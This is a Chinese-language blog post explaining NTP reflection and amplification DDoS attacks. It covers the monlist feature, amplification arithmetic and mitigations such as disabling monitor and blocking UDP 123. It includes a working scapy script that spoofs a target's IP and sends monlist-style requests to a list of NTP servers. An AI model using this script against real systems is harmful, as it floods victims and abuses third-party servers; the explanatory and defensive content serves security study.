最近一段時間 DDoS 攻擊事件讓基于 NTP 的 DDoS 攻擊變得很火熱,先看看下面的信息感受下:
“It was a very large DDoS targeting a CloudFlare customer,” Matthew Prince, CEO of Cloudflare told SecurityWeek. “We're still gathering the log data to get exact numbers but know it was well over 300Gbps and likely over 400Gbps,” Prince said.
“The method was NTP reflection, which is quickly replacing DNS reflection as the source of the largest attacks,” Prince said.
消息中稱 CloudFlare 遭受了高達 400G 流量的 NTP 反射攻擊,目前從網上各處的消息來看,眾說紛紜,我們先不去考證消息的真偽,僅僅從攻擊方法和流量方面來看著實體現出 NTP 反射攻擊的威力。
NTP 是網絡時間協議(Network Time Protocol)的簡稱,干嘛用的呢?就是通過網絡協議使計算機之前的時間同步化。
那什么是 NTP 反射和放大攻擊呢?如果聽過 DNS 反射和放大攻擊的話應該就會對這個比較容易理解了,協議不同,效果一樣。
我們先來說說放射和放大攻擊:
無論是基于 DNS 還是基于 NTP,其最終都是基于 UDP 協議的。在 UDP 協議中正常情況下客戶端發送請求包到服務端,服務端返回響應包到客戶端,但是 UDP 協議是面向無連接的,所以客戶端發送請求包的源 IP 很容易進行偽造,當把源 IP 修改為受害者的 IP,最終服務端返回的響應包就會返回到受害者的 IP。這就形成了一次反射攻擊。
放大攻擊呢就是一次小的請求包最終會收到一個或者多個多于請求包許多倍的響應包,這樣就達到了四兩撥千斤的效果。
那我們接著來看什么是 NTP 的反射和放大攻擊,NTP 包含一個 monlist 功能,也被成為 MON_GETLIST,主要用于監控 NTP 服務器,NTP 服務器響應 monlist 后就會返回與 NTP 服務器進行過時間同步的最后 600 個客戶端的 IP,響應包按照每 6 個 IP 進行分割,最多有 100 個響應包。
我們可以通過 ntpdc 命令向一個 NTP 服務器發送 monlist 以及結合抓包來看下實際的效果。
[email protected] ~$ ntpdc -n -c monlist x.x.x.x | wc -l
602
在上面的命令行中我們可以看到一次含有 monlist 的請求收到 602 行數據,除去頭兩行是無效數據外,正好是 600 個客戶端 IP 列表,并且從上面圖中的 wireshark 中我們也看到顯示有 101 個 NTP 協議的包,除去一個請求包,正好是 100 個響應包。
從上圖中我們可以看到請求包的大小為 234 字節,每個響應包為 482 字節,如果單純按照這個數據我們可以計算出放大的倍數是:482*100/234 = 206 倍。其實如果通過編寫攻擊腳本,請求包會更小,這個倍數值會更大,這樣算起來是不是蠻屌的。
我們通過 scapy 實現一個簡單的攻擊腳本,代碼如下:
#!python
#!/usr/bin/env python
# author: [email protected]
import sys
from scapy.all import *
def attack(target, ntp_server):
send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))
if __name__ == "__main__":
if len(sys.argv) != 3:
sys.exit(1)
target = sys.argv[1]
ntp_server_file = sys.argv[2]
for ntp_server in open(ntp_server_file, "r"):
ntp_server = ntp_server.strip()
if ntp_server != "":
attack(target, ntp_server)
我們可以分為兩種情況進行防御
1. 把 NTP 服務器升級到 4.2.7p26
2. 關閉現在 NTP 服務的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`選項
3. 在網絡出口封禁 UDP 123 端口
1. 由于這種攻擊的特征比較明顯,所以可以通過網絡層或者借助運營商實施 ACL 來防御
2. 使用防 DDoS 設備進行清洗
不過我覺得如果流量真的夠大,400G?800G?或者更大,又有誰能夠防得住呢?